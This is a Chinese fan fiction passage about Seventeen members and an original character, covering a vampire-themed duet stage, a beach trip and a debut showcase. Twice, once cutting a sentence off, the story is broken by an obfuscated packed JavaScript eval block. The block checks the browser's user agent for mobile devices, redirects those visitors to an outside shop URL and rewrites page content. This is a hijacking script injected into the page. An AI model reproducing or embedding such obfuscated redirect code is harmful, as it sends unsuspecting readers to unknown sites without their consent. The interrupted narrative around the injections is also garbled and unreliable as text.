放松的间隙像潮水般短暂退去,随之涌上的,是比之前更为紧绷、专注的神经。 汉江边的风与阳光已被妥善收纳进记忆里,成为支撑疲惫身体的某种养料。此刻,所有人的心神都已再次拉满,时刻准备着,为接下来那个不容有失的舞台,投入下一轮甚至更严苛的打磨。 任务目的地“首尔放送高中”,正是珉奎、胜宽、忙内李灿所在的学校。 夫胜宽最先收到了班主任的电话,金珉奎收到班主任电话的时候还问夫胜宽有没有接到电话,夫胜宽说没有,给金珉奎唬过去了。而忙内李灿是完完全全的不知道,没有任何人告诉他这件事。 所以在去往学校的大巴车上,李灿成了所有成员里最震惊的那个,嘴里还一直嘟嘟囔囔的说,‘为什么不告诉我们啊’。 到了学校,他们片刻未停,直接通过校广播室的麦克风,向所有学生发出了观看邀请。 灯光亮起,音乐炸响。《Dangerous》的鼓点率先击碎空气,精准的齐舞引燃第一波尖叫;《BANG!》的副歌一出,全场几乎跟着跳了起来;最后的《ShiningDiamond》,少年们的汗水与台下挥舞的手臂汇成了同一片热浪,就算是第一次听到这首歌的孩子也会学着Seventeen的舞蹈动作跟着比划几下。 舞台公演非常成功。舞台下的学生们反应极其热烈,三首风格各异的歌曲完全点燃了现场,将学生们的热情彻底调动了起来。最后的评分高得出乎意料。 无论是女学生还是男学生,都给出了压倒性的高票数。就连原本可能会很严格的评委老师们,也给予了相当不错的评价。 每一张票,每一句肯定,都像一块坚实的砖,让他们通往“未来”的那条路,变得越来越清晰,越来越近。 转眼,还没解散公演活动的Seventeen又回到了那间熟悉的、让孩子们瞬间想起“团戒”被收走时那份无力和痛苦的会议室。 熟悉的桌子,熟悉的位置。空气里仿佛还残留着那天金社长严厉的话语和他们低落的气息。 倒是姜里树这会儿有点不好意思地抬手摸了摸脸颊。 上次会议结束时他居然眯着了。起因是前一天晚上他最后一个洗漱完睡觉,第二天天没亮又爬起来给大家做早餐,他们那一片根本没有早餐店,外卖时间又不稳定,总不能让孩子们顶着一肚子咖啡面对未知的录制。满打满算,他只睡了四个小时。 金社长当时不让他说话,他那双绿眼睛在强光下就控制不住地开始恍惚。后来身体本能的感知到孩子们都在身边,心里也明白金社长那番“凶狠”多半是演的,那根紧绷的弦一松,疲惫便排山倒海般袭来。意识就这么短暂地、无声无息地被抽离了。 直到崔胜澈的手掌贴上他的后颈,那声“能不能!”在耳边陡然炸响,他才猛地一激灵,从短暂的昏沉中惊醒过来,孩子们正是“安慰”他的时候,那会儿完全不敢动了,生怕他们知道他是睡着了。 这一次,制作组的面色温和了许多。他们站在首位,首先点评并肯定了孩子们近期极其突出的进步和舞台表现,然后才微笑着宣布了新的任务。 “接下来,是‘合作,俘获大众的心’,并不是小分队形式。” 话音刚落,桌子另一头的投影幕布随之亮起,上面清晰地显示着已经由制作组事先分好的、全新的小组名单。 所有人的目光,瞬间齐刷刷地投向了那块决定他们接下来命运的投影幕布上。 [第一组:Jeonghan、Wonwoo、Hoshi] [第二组:S.COUPS、DINO、WOOZI] [第三组:DK、Mingyu、JUN] [第四组:Seungkwan、Vernon、THE8] [第五组:Joshua、RISU] 最后,五组人马被巧妙地安排在同一张集体照的构图里,每个人都被“分配”得明明白白,各自归入了全新的小队。 看着照片上那些意想不到的组合,所有成员的脸上都露出了毫不掩饰的意外和惊讶。 屏幕上的最终分组名单定格,所有人才看懂这个分组。 Hip-hop、Vocal、Performance三队人马被像彩虹糖一样均匀拆开,重新排列组合。大多数新组都凑齐了三人,唯独到了最后一组。画面上只剩下两个名字:姜里树,洪知秀。 练习室里安静了一秒,随即响起一阵恍然大悟又带点揶揄的“哦——”声。原来是因为人数不均,这两位哥哥,成了彼此的“唯一队友”。 依旧是互相放“狠话”的阶段。轮到姜里树和洪知秀这两位平时说话做事都特别温柔的哥哥时,他们互相对视一眼,然后由姜里树作为代表,拿起话筒。 “会让你们都乖乖坐下的。”他的语气依旧平稳,但说出来的话却毫不客气的说。 这句带着反差感的“狠话”一出口,立刻引爆了全场。所有孩子瞬间一起起哄、尖叫、拍手大笑,气氛瞬间达到了高潮。 “那么,这将是你们本次‘SEVENTEEN PROJECT’的最后一个任务。”趁着孩子们被这波“狠话”激起的最高涨的热情和笑声,制作组适时地拿起话筒,声音清晰地宣布。并告诉他们第一的队伍会有特殊舞台等着他们。 孩子们一时间还有些感慨和复杂的不舍,像是在游戏中学习新的知识,他们在这几次任务中真的学到了很多,也会在最后的任务中好好表现的。 既然任务已经明确摆在眼前,那么所有人,全力以赴地往前冲就对了。 任务开始。 没有多余的犹豫或寒暄,五个新成立的小队立刻分散开来,各自占据了不同的屋子。编曲的凑在一起编曲,写词的头挨着头,试舞的不停歇的跃动、定格、调整。 姜里树和洪知秀这边,两人找了个空房间,轻轻关上了门。 隔绝了外面的喧嚣,房间里瞬间安静下来。他们面对面坐下,没有急着动手,而是先平静地讨论起选什么题材作为表演主题。 “《夜访吸血鬼》怎么样?” 姜里树抬起眼,那双清澈又幽深的绿眸,直直地看向面前的洪知秀。 被这样一双眼睛专注地注视着,提出这样的题材,洪知秀有那么一瞬间,几乎真的以为自己被某种神秘而优雅的古老生物给“盯上”了。 “Perfect.” 洪知秀几乎是立刻就点了头,眼里闪着光。不能再赞同了。 这个题材本身就充满致命的吸引力,而《夜访吸血鬼》这部电影,其经典程度可以说达到了人尽皆知的地步,拥有极强的观众基础和戏剧张力,简直是天作之选。 “编曲方面,我脑子里已经有几个不错的动机了。”姜里树的声音因为兴奋而略微加快,“歌词这一块儿,恐怕得主要靠你了。至于舞蹈我也有几个不错的构想!我们可以都试试!” 他越说越投入,那双绿眼睛在不算明亮的房间里显得格外亮,整个人透出一种罕见的、近乎炽热的专注,就仿佛传说中那位没有心跳的吸血鬼,忽然遇见了他漫长生命中,第一件真正让他“心动”的珍宝。 “好好好,听你的。”洪知秀看着他这副难得外露的激动模样,忍不住笑了起来,抬手轻抚他因为情绪高涨而泛起一层动人红晕的脸颊,声音温软地安抚道:“你先冷静下来~” 有了搭档毫无保留的支持,一向最操心成员们作息的那个人,这次却像彻底忘了自己,一头扎进了不眠不休的创作里。怎么劝都拦不住,犟得要命,最后还是金珉奎和崔胜澈两人合力,才把他从房间里硬生生拖出来吃饭。 看着他被拖出来时,脸上那副因为中断创作而流露出的、混合着疲惫、不甘与一丝空茫的“颓废感”,再联想到他们正在创作的《夜访吸血鬼》主题,洪知秀有那么一刻,真的觉得姜里树仿佛化身成了那个刚从漫长沉睡中被惊醒、对现世带着疏离与倦怠的古老血族。 ……别说,还真挺吸引人的。 洪知秀抱着手臂捂着嘴移开视线,让自己不再去看姜里树。 没过多久,那首混合着哥特风搭配R&B风格美学的歌曲,便降世了。 当姜里树拖着两个浓重的黑眼圈,手里紧紧攥着刚导出的音频文件,站到李知勋面前时。 李知勋抬头看到他这副仿佛被创作吸干了精气神的模样,先是愣了一下,随即嘴角无法抑制地向上弯起,差点当场笑出声来。 也确实笑出来了,同道中人啊。 等李知勋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人的鞋子都是光洁的黑色皮鞋。少年们还在长身体的年纪,洪知秀比姜里树稍矮一些。为了在双人舞中达到更和谐、更有张力的视觉效果,姜里树特意让洪知秀穿上了一双带约三厘米粗跟的皮鞋,才相差一样。 一暗一明,一紧一松,尚未起舞,视觉上的性张力已拉满。 其他成员们已经围了过来,对着两人这身前所未见的造型眼睛发亮,这边摸摸绸缎的质感,那边看看袖带的飘垂。 尹净汉更是好奇地凑近,伸出指尖,轻轻勾了一下姜里树胸口那根交叉的绑带,还作势要往下看,笑着问:“我们里树~有腹肌吗?” 话没说完,手也没碰到,就被一旁的崔胜澈眼疾手快地一把捂住眼睛,同时胳膊圈住脖子,干脆利落地“锁喉”拖走了,深怕自己一个没看住,姜里树的“清白”就砸在尹净汉的手里了。其实已经没有了,因为就没见尹净汉坐在姜里树身边是端端正正的,不是贴着靠着就是躺着摸着…… “平时一起洗澡不是早都看过了吗。”姜里树嘴角带着无奈的笑意,也不动的看着孩子们的动作。 “下次,和我合作!” 李知勋也走上前,伸手很轻地摸了一把姜里树那宽大飘逸的绸缎衣袖,语气里带着欣赏和一点独占欲。 “行啊。” 姜里树笑着应下,甚至脑子里瞬间就有了主题构想,‘小红帽和大灰狼,还能让胜澈里客串猎人。’ “我也要!” “还有我!” 其他孩子一看,立刻也蹦跳着围上来,七嘴八舌地嚷起来。 “好好好好好……” 姜里树被他们闹得连连点头,笑着应承下来,只是那笑容里多少带点“这下可答应不过来了”的无奈。 《不朽》JOSHUA、RISU 编词:JOSHUA、RISU、WOOZI 编曲:RISU、WOOZI 编舞:RISU、HOSHI 等真正到两人表演的那一刹那,所有声音都安静了下来。 音乐以管风琴的庄严与肃穆拉开故事的帷幕,悠悠扬扬的小提琴声如夜色中的幽灵缠绕其间。整体架构则是R&B的骨架,丝滑的人声线条、慵懒的节奏律动,配合慢板节拍与轻柔的转音,营造出一种华丽又颓靡的听觉质感。 “我数着百年的钟响等谁叩开这扇窗” “玫瑰在怀中风化獠牙藏进礼貌伪装” “你眼底跳动的星火是我久违的渴望” …… 编曲上,用低沉的合成器贝斯打底,铺上诡谲而精致的钢琴旋律,再点缀以R&B标志性的气声与细腻咬字,共同吟唱出一座吸血鬼古堡中,那些关于永恒、孤寂与诱惑的哥特叙事。 “来吧饮下这杯暮色别问永恒多寂寞” “当月光爬上锁骨爱恨都沦为泡沫” “夜访者步履轻呵吻过我冰冷脉搏” “不朽是神的枷锁 你是唯一的温热” …… 它不需要高亢的呐喊去反抗命运,也无需沉郁的低音去挣扎嘶吼。整首歌的氛围与表达方式,恰好完美地契合了洪知秀声音中那份优雅的叙事感,以及姜里树声线里那种沉静而富有穿透力的特质。 随着音乐声响起,黑衣“莱斯特”与身后站着的白衣“路易”错开位置,伸出手掌牵出“路易”,向众人展示着他背后的“爱人”。 两个身影或同步,或纠缠,就算分离也依旧藕断丝连,彼此牵挂。 最后“路易”狠狠将“莱斯特”推开,奔向人群,却在众人的惊呼声下再次被“莱斯特”抓住手腕一把拉进了他的怀里,在大家惊恐的眼神里咬住他的脖子。姜里树搂住洪知秀纤细的腰身,另一只手摁着他的头,嘴里藏着的小型血浆顺着洪知秀的脖子淌下染红衣襟,那双绿色的眼睛没有去看怀里的洪知秀,而是幽幽沉沉的注视着观众人群中藏着的“路易”。“路易”扶着“莱斯特”肩膀的手悄然无力落下。属于人类的“路易”倒在了他的怀里“死去”。 音乐声最后一个音符消散,现场安静了那么一瞬。 然后,尖叫和掌声如同决堤的洪水般轰然炸响,所有人都激动地站起身,用力鼓着掌。 舞台中央,姜里树这才轻轻松开手臂,将怀里的洪知秀稳稳扶起,两人并肩站好,面向沸腾的观众席,深深地鞠躬谢幕。 等粉丝和观众们陆续散场,场馆内恢复了安静。评委们与Seventeen的孩子们面对面站着,依次对五个小组的作品进行了细致的点评。 对于E组的姜里树和洪知秀,评委们给予了格外的好评,称赞了他们的概念完整度、大胆特异的舞台张力和独特的艺术表达,同时也客观地指出了几处可以做得更精妙的细节。 最后,制作组宣布了本次任务的第一名:A组、B组、E组。 “以上是评委老师们的专业点评。” 制作组话锋一转,声音变得更加有力。 “但更重要的是这一次,决定权完全交给了现场的观众。” 制作组没有卖关子,直接跳过了第一名,从第三名开始,逆向宣布了由现场观众实时投出的票数。 当最后宣布第一名时,悬念被拉到了最高点。 “第一名是——A组!” 紧接着公布票数:“A组与E组,仅相差两票,A组险胜!” 尽管E组以微弱差距惜败,但所有人都明白这两组作品的出色。结果宣布的瞬间,全场所有人包括评委、制作组和所有Seventeen成员都真诚地、用力地为获胜的A组,也为贡献了精彩舞台的E组,鼓起了掌。 在导师们充满期许的总结与鼓励声中,最后一个任务,也圆满地落下了帷幕。 再次回到了MBC大楼,接受采访。 “……” 姜里树和洪知秀疑惑地对视了一眼,不是说最后一个任务已经结束了吗? 两人还是接过了制作组突然递来的新任务卡片。姜里树展开,一个字一个字地念出声。 “聚、集、一、千、名、观、众……?” 一千名?! 念完最后一个字,姜里树立马抬起头,脸上写满了难以置信的震惊,直直地看向笑眯眯的制作组。 姜里树就那么定定地看着制作组,眼神里充满了询问和一丝危险的预感。 制作组也笑眯眯地看着他,一副“你猜啊”的表情,就是不主动开口解释。 他们谨记着金社长的嘱咐:“别让RISU有机会开口问。如果他自己产生了疑惑……那对我们接下来的流程,反而更有利。” 然后,坐在姜里树身旁的洪知秀,就听见他的这位“莱斯特”发出了一声极轻的、几乎淹没在空气里的、带着明显不耐的“啧。” 只有离得最近的他,听见了。 “闹木kiyo~” 姜里树现在脑子里就只有一个非常具体、且极具画面感的念头:想带金社长去打拳。 22. 22.‘苦难\’ 他们再次回到了那间熟悉的会议室,第一次与《SEVENTEEN PROJECT:出道大作战》制作组见面时的地方。 那时的他们,还对未来一无所知,内心充满忐忑和不安,只能懵懂而顺从地,坐上了制作组安排的大巴车。 可如今,场景重现,心境却已截然不同。 虽然不知道制作组接下来又有什么安排,但是他们这些天的经历让他们心里清楚,自己不会再像第一次踏入这里时那样慌乱不安了。 制作组重现那天的时光,让他们又一次坐上了前往未知道路的大巴车。 姜里树靠着车窗,身体随着大巴车的行驶轻轻一摇一晃,目光安静地投向窗外不断倒退的风景。 将近两个半小时的车程,漫长的路途让孩子们都默契地选择了安静的休息,为接下来可能出现的任何挑战,积蓄体力。 束草四月末的海风带着春天独有的气息,凉爽中透着一丝温润。此时海水尚未完全回暖,海风拂过,仍能让人感到丝丝凉意,甚至在早晚时分,可能会让人觉得有些瑟瑟发抖。 海风还夹杂着大海的咸腥味,有时海风会稍大一些,吹起海面的浪花,发出“哗哗”的声响。 在漫长路途中浅眠的Seventeen成员们,就是被这样的风声、浪声,以及那带着凉意与咸味的空气,轻轻唤醒的。 “哇——亲加(真的)?居然是海边!” “会有任务吗?” 大巴车缓缓到站,停稳。车门打开,带着咸味的凉风瞬间涌入车厢,彻底驱散了残留的困意。 所有人陆续下车,惬意地伸了个大大的懒腰,舒展着坐了许久的筋骨。 几个气血格外足的,已经等不及了,拔腿就快跑着朝那片蔚蓝的海边冲了过去。他们在沙滩上跑出一身薄汗后,才后知后觉地感到海风的凉意。于是又转过身,朝着后方那些正慢悠悠、惬意散步过来的哥哥弟弟们,大声喊着,打着集合的名义好聚在一起取暖。 束草的海风还残留着冬天的凛冽,更何况今天的天气实在算不上明媚,海边多云,天色灰蒙,寒风瑟瑟,吹得所有人都不自觉地缩起脖子,朝着人多的地方靠拢,试图挤在一起汲取一点暖意。 姜里树走在最后面,怀里抱着好几个孩子因为嫌热、上车后就脱下来丢在座位上的外套,正加快脚步朝人群走去。切实感受到海风的刺骨后,他走得更快了,没一会儿就赶上了那群正扎堆哆嗦、试图“抱团取暖”的成员们。 “都过来把外套穿上!” 姜里树抱着那一大摞衣服,朝着人群喊了一嗓子。 孩子们听到这“救命”的呼唤,立刻叫着“哥!真是救命了!”、“哇!真的好冷!”之类的话,一拥而上,也顾不上仔细分辨哪件是自己的,抓起来就赶紧往身上套,先穿上再说。 尹净汉从车里下来后觉得冷得不行,抱着胳膊,整个人瑟缩成一团,像只怕冷的小兔子。 他开始在人群里这边凑一凑,那边贴一下,想找个暖和点的地方。结果发现有的成员身上比自己还凉,又赶紧挪开。就这么换来换去,直到他贴到了姜里树身边。对方身上那股稳定的、源源不断的热意,让他终于安分地停了下来,满足地蹭了蹭。 姜里树还在盯着其他孩子把外套穿好,就感觉自己的胳膊被一个凉飕飕、还有点发抖的生物蹭了蹭。 他低头一看,是冷得直打哆嗦、整个人都快缩没了的尹净汉。 “净汉呐,还好吗?”姜里树立刻转过身,扶住他的肩膀,发现他衣服单薄得惊人,“你外套呢?” 他咋就穿了件薄衫站在这儿吹海风? “早上出门前,我不是特意叮嘱过,让你们都穿件外套的吗?” “我也没想到会来到海边~我出门前还看了今天会有太阳的……”他缩着身体抖个不停。 没多余的外套了。姜里树见状,直接把自己身上那件外套的拉链一拉到底,然后敞开,简短地对尹净汉说:“先进来抱一会儿,暖一暖。” 就算现在给尹净汉穿上外套,冰冰凉的身体也无法立刻回暖。 “哇~活过来了,好暖和~” 暖意立刻从姜里树敞开的怀抱里,源源不断地渡了过来。尹净汉把冰凉的脸颊贴在他温热的颈窝,满足地叹了口气。 姜里树则微微侧过身,努力用自己的后背和手臂,帮他挡开一部分凛冽的海风。 他俩就在成员们背后大大方方地“搂搂抱抱”着取暖,一旁的摄像机也忠实地将这个暖心的互动片段记录了下来。 “净汉呐,要取暖的话就不要‘乱动’啊,真的很痒的……”姜里树握住尹净汉摸着他腹部的手。 “可是hiong~我的手也很冷啊,也帮我暖暖吧。”尹净汉才不管的窝在他哥怀里继续‘取暖’。 也不知道是不是海浪声太大的原因,机器设备光看见姜里树嘴动,却没有录到他们两个的声音。 这时,跟着团队一起来到海边的制作组,看着这群冻得已经开始集体哆嗦的少年,终于拿出了任务卡,开始发布最新指令。 “?” 姜里树还抱着尹净汉,闻言好奇地越过前面成员的肩膀,伸长脖子去看制作组。心里嘀嘀咕咕的,这海边除了他们就是制作组,总不会是…… 捕获制作组的心吧?…… 崔胜澈上前一步,从制作人手里接过了任务卡。 可他还没走回成员们围成的圈中间,只是低头扫了一眼卡片上的内容,就立刻把卡片往自己怀里一揣,然后脸上露出一个神秘兮兮的笑容,转身就想跑。 没跑出两步,就被眼疾手快的崔瀚率和李灿两个忙内,一左一右,同时出手,一把给薅了回来。 “啊!”崔胜澈一声惊呼,整个人失去平衡,直接仰面躺倒在了沙滩上。 孩子们也没空去管地上躺着的“碰瓷”队长,都七嘴八舌地追问:“到底是什么任务啊?!” 夫胜宽瞅准这个混乱的时机,一个箭步冲上去,从崔胜澈怀里抢过了任务卡!但他自己也没看,抢到手转身就跑! 几个最活泼的成员立刻叫嚷着追了上去,沙滩上一时间上演了一场“任务卡抢夺大战”。最后还是里兜胜澈凭借矫捷的身手和“威严”,把卡片给重新夺了回来。 “去捕获Seventeen成员们的心吧。” 这次来到束草海边,其实是制作组的一份心意。 这个月高强度的连轴训练,已经让所有人都精疲力竭。制作组看在眼里,便想着在最后的出道决战之前,安排这样一次两天一夜的短暂旅行,让孩子们能在海风和涛声里好好放松一下紧绷的神经,也让成员们之间能有更多时间,在轻松的氛围里互通心意,凝聚力量。 接下来的时间,便是尽情的、毫无负担的欢声笑语。 孩子们在沙滩上追逐打闹,笑闹声和海浪声混在一起。玩着玩着,不知是谁带的头,忽然就有人兴奋地尖叫着,一个接一个往冰凉的海水里试探! 姜里树已经把自己的厚外套给了尹净汉穿着,自己就穿了件短袖。他抱着手臂,站在沙滩上,看着那群在水边扑腾尖叫的“疯子”,嘴角不受控制地抽搐了几下,摇了摇头,由着他们闹去了。 怎么入海的“战火”就引到了姜里树身上。 “hiong!陪我!”崔胜澈凑近他,一双大眼睛扑闪着,浓密的睫毛轻轻颤动,里面藏着细碎的光。 “这时候是你哥啦。”坑他的时候总是不会忘了他,怎么这么贴心呀我们胜澈哩。 “走吧!一起一起!” 崔胜澈一点也不觉得尴尬,笑嘻嘻地又拖又拽,在周围孩子们兴奋的起哄和鼓掌声中,硬是把一脸无奈的姜里树往冰凉的海水里拉。 摄像机清晰地记录下了这个画面。 两个青年人的背影,义无反顾地冲向波涛,然后,在大海没过膝盖时,他们同时转过身,面对着岸上那群最重要的家人,大大地张开了手臂。 大海中的那两人,一个是他们的队长,一个是他们的大哥。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205962|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在震耳欲聋的欢呼和笑声中,两人向后一仰,将自己彻底交给了那片蔚蓝的大海。 “啊!亲加!?好冷!好冷啊!” 帅不过三秒。 海水刚打湿他们两个的全身,那股刺骨的寒意就让崔胜澈整个人像装了弹簧一样猛地跳了起来,然后头也不回地、吱哇乱叫着就往岸上狂奔。 等他真的一口气冲回沙滩,双膝一软跪倒在沙地上,被海风一吹,才后知后觉地发现,岸上比刚才在海水还要冷! 徐明浩蹲到他面前,看着他哥这副狼狈又滑稽的样子,很认真地问了一句:“哥,你冷吗?” 崔胜澈已经被海风和湿衣服带来的双重魔法攻击冻得有点傻掉了,张了张嘴,一时竟没说出话来。 姜里树在崔胜澈尖叫着冲回岸上的时候,才不紧不慢地从水里浮了出来。 他把湿透、紧贴在脸颊上的金发全部捋到脑后,露出光洁的额头和精致的五官。被冰冷的海水刺得他闭了闭眼,缓了口气,正准备也跟着上岸。 就看见洪知秀也脱了外套,大步流星地朝着他这边、朝着海里冲了过来! 姜里树瞪大眼睛,下意识张开手臂还没来得及反应,洪知秀已经笑着扑了过来。两个人失去平衡,“扑通”一声,一起重重地倒回了冰凉的海水里。 金珉奎反应慢了一拍,没抢到第一个抱他哥的机会,干脆同时把两个哥哥都给结结实实地抱住了! 于是,刚挣扎着要起身的两个人,加上这个突如其来的“人形挂件”,三个人又一起失去平衡,“噗通”一声,齐齐摔回了冰凉的海水里。 两岸猿声啼不住。 岸上已经笑疯了。 海里的三个人这才互相搀扶着、哆哆嗦嗦地爬上岸。 制作组的staff们在一旁笑得眼泪都快出来了,但手上却没停,早早地就准备好了毛巾,等着他们一上岸,就赶紧给披上。 姜里树披着身上的毛巾照着俩孩子的后脑勺一人盖了一巴掌。 回到留宿的地方,姜里树做的第一件事,就是给所有人都冲了一杯热乎乎的感冒冲剂,以防万一。 他特别留意了那几个平时免疫力就没那么好的孩子,挨个给他们量了体温。确认没有一个人有发烧的迹象后,才终于松了一口气。 夜晚,Seventeen的成员们围坐在制作组提前准备好的篝火旁。火焰跳跃着,映着每一张年轻的脸。 制作组首先开了个头,然后引导孩子们,趁着这温暖宁静的氛围,对身边的伙伴们,说说平时可能没说出口的心里话。 作为Seventeen队长的崔胜澈先开了口,声音里带着一丝苦恼。他说,有时候弟弟们之间闹别扭了,他作为队长、作为哥哥,却不太清楚具体是因为什么事吵起来的。他希望成员们都能更坦诚地把心里的话说出来,互相成为可以依靠、可以倾诉的对象…… 接着,权顺荣接过了话。作为Seventeen的编舞核心,他深知长时间练舞的疲惫。他说,“好累啊”这种话一旦有人说出口,很容易就会影响到所有人的情绪,让大家都觉得“啊,真的好累”。他在想,如果能把那句“好累啊”,换成一句“大家再坚持一下”,会不会让整个氛围都变得不一样,更有力量一些呢…… 将Seventeen所有孩子们的未来都作为一份沉重的责任压在自己肩上的李知勋,也轻声说出了自己的恐惧。他说,他会害怕大家因为自己做得不够好而不能顺利出道。所以他会没日没夜地编词作曲,拼了命地想拿出最好的作品。可即便如此,心底那份“害怕拖累大家”的担忧,依然如影随形…… 每个孩子都轮流说着自己的心事、压力、苦闷……姜里树坐在最边上,静静地听着。 他的眼睛一瞬不瞬地盯着跳动的篝火,大拇指无意识地摁压着指节。 火光在他脸上明明暗暗。原来,在他没看到、或者没能完全看透的地方,这些弟弟们,正默默经历着这么多他不知道的挣扎和压力…… 23. 23.他的起始 那天,束草清冷的沙滩上,并排坐着十四个少年。 他们裹着外套,肩挨着肩,在一片深蓝与墨色的交界处,一起安静地等待着,那轮太阳冲破海平面的时刻。 “孩子们~”崔胜澈歪靠在姜里树怀里懒洋洋的叫着大家。 “内~”孩子们也迷迷糊糊的回应着。大早上的,太阳还没起来,他们起来了。 昨夜的篝火谈心,像一场无声的春雨,让他们彼此心灵间的距离,再次悄然拉近。 他们都更清楚地意识到,团队从来都不是靠一个人支撑的。争吵和摩擦,是成长路上再正常不过的风景。最重要的是把话说开,把情绪释放出来,大家的心才能有机会靠得更紧;而把话闷在心里,只会让猜忌和误解像藤蔓一样悄悄滋生,最终在看不见的地方,缠住彼此前行的脚步。 “我们来做那个吧!”崔胜澈说。 “如果以后谁变心了,再回到束草把他丢进大海!” “好啊好啊!”这么说的话,大家可就不困了。 “Seventeen……” “Yes” “成功吧!” “Yes!” “我们一定可以做到!” “Yes!!!” 玩过闹过,短暂的休憩与沉淀之后,就该收拾心情,向着决定是否能够出道的最后一个挑战,正式出发了。 终于到了Seventeen Showcase当天。 当Seventeen的成员们第一次亲眼见到那个规模巨大的舞台时,所有人都忍不住发出了连连的惊叹。灯光、音响、观众席的规模……一切都比他们想象中还要壮观。 这里将会有一千名观众来观看他们的表演!说不定也不会有那么多人来,但仅仅是能站在如此规模的舞台上这件事本身,就足以让每个少年都感到超乎想象的兴奋与激动。 随着舞台的搭建进入尾声,成员们小心地绕过众多复杂的设备和线缆,从后台进入场地,开始了紧张的彩排。 重复再重复,熟练再熟练。他们争分夺秒,抓紧正式开场前的每一分钟,力求把每一个细节都打磨得更细致、更完美。 粉丝们开始陆续进场,场馆内渐渐充满了喧闹与期待的声音。 而此时,Seventeen的所有成员正聚集在舞台后的待机室里,由化妆师和造型师们进行着最后的妆发和造型定型。 在舞台上的他们,交出了一份献给所有现场观众的最好答卷。从整齐划一、充满力量的刀群舞,到各具特色、充满故事性的小分队表演,每一个环节都倾注了全力。 为了不留遗憾,他们享受了这次的舞台。 短暂的MC采访休息后,灯光再次聚焦给属于在任务中获得第一名的A队的单独舞台表演奖励时间。 表演结束,待到粉丝和观众们全部离场,场馆内恢复了寂静。 Seventeen的成员们从后台走出,再次登上那个刚刚还充满欢呼的舞台,在空旷的舞台中央站成一排,安静地等待着以为是评委的MC前辈宣布最终的结果。 没想到,走上台来宣布最终结果的,是当初亲手收走他们团戒的金社长。 他的身影一出现在舞台上,瞬间就让所有孩子的心都提了起来。那股熟悉的紧张、不安,甚至带着些微惧的感觉,又一次清晰地回来了。 崔胜澈立刻收敛了所有情绪,率先带着所有孩子们,整齐而恭敬地向金社长鞠躬问好。 “你们好,孩子们,最近辛苦了。”金社长在他们面前站定,脸上带着一种意味深长、让人捉摸不透的微笑,目光缓缓扫过每一张紧绷的年轻面孔。 “您也辛苦了。” 金社长看着他们,问了一句:“怎么样?” 他没有具体指明是问此刻的心情感受,还是刚刚的舞台表现,或是观众的反馈。 崔胜澈作为队长,回答得非常谨慎。他斟酌着措辞,给出了一个既表达了真实感受,又保持分寸、中规中矩的回复。 没想到,金社长却再次开口,语气是他们久违的温和:“拍摄《出道大作战》这个节目……你们都辛苦了。” 这句话,让孩子们都愣了一下,感到一阵受宠若惊。 他们想起,在团戒被收走、大哥被当众训斥之前,他们对金社长其实并不会这么小心翼翼,反而带着点亲近和依赖。而从那之后,这份亲近仿佛被冻结了,只剩下带着点委屈的谨小慎微。 “能够在限定时间内完成舞台表演,编词作曲等等,真的辛苦你们了。” “你们做的真的很好。” “看到你们在舞台上闪闪发光的样子,我真的很欣慰。” 这会儿金社长再怎么夸个不停,也没法让孩子们立刻和他重新亲近起来。 毕竟,心理阴影已经留下了呢,孩子们。 结果,金社长转头就去问DK的感受。 我们DK啊,可是早已经被身边的哥哥弟弟们给哄好了。 那些外界的评价,好还是不好,都已经不能影响他和成员们坚定地站在一起了。倒也不是说完全不在意,而是他有成员们,有这群兄弟们、家人们和他一起努力着。那些声音,现在只会成为他向前成长的动力。 金社长满意地点了点头,对李硕珉的这番话给予了明确的肯定。 未来的道路上,伴随他们的,除了身边的队友,还有外界‘非红即黑’的评价。如果连眼前这一步都无法支撑下去,那么将来,又该如何走下去呢。 “面对一次次不确定,你们做到了。” “你们完成了闪闪发亮的舞台,这令我非常骄傲和自豪。”金社长的声音带着笑意,看向他们的目光里充满了毫不掩饰的骄傲和自豪。他率先为他们鼓起了掌。 那神情,就像一位老父亲,看着自己一手带大、如今终于能够独当一面的孩子们,内心涌起的欣慰与满足。 随即,金社长话锋一转,面露难色,对他们说:“节目刚开始的时候我说过,‘希望你们用自己的力量,把戒指找回来’……”,顿了顿,目光扫过孩子们瞬间紧张起来的脸。 “虽然,我现在也很想把戒指还给你们……”他无奈地摇了摇头,“可是,它们并不在我这里。” “?” “!” 所有人都不可思议地瞪大了眼睛,齐齐看向金社长,然后又下意识地左右看看身边的成员,脸上写满了错愕和茫然,几乎以为自己是不是出现了幻听。 “戒指不在我这里。”金社长再次重复给孩子们听。 不知道接下来该怎么办的Seventeen,只能带着伤心和不安,默默地等待着金社长接下来的安排。 姜里树从刚刚重新站上这个舞台开始,心里就有一种挥之不去的奇怪感觉。 不是不安,更像是一种深切的疑惑,仿佛冥冥之中有什么在牵引着他,让他有种想要独自走向舞台更深处的冲动。他甚至感觉到一丝想要落泪的、莫名的酸涩感。 当听到金社长说“团戒不在我这里”时,这种奇怪的感觉瞬间变得更加强烈,几乎化为实质的心慌,在他胸腔里擂鼓般地跳动起来。 片刻的沉默后,金社长说:“转身吧孩子们。” 所有人,几乎是齐齐地、不约而同地转过身,目光投向了舞台后方。 那里,厚重的帷幕正被缓缓拉起…… 帷幕之后,出现了他们完全意想不到的人。 是他们的父母,家人,兄弟姐妹,正在那帷幕后面挥手,温柔的对他们笑着。 所有人都呆愣在了原地,一时间没有任何动作,仿佛被眼前的景象按下了暂停键。 直到胜宽妈妈含着泪,笑着主动向前走了几步,夫胜宽才像是猛地惊醒,大喊了一声“妈妈!”,然后第一个冲了上去,紧紧抱住了她。 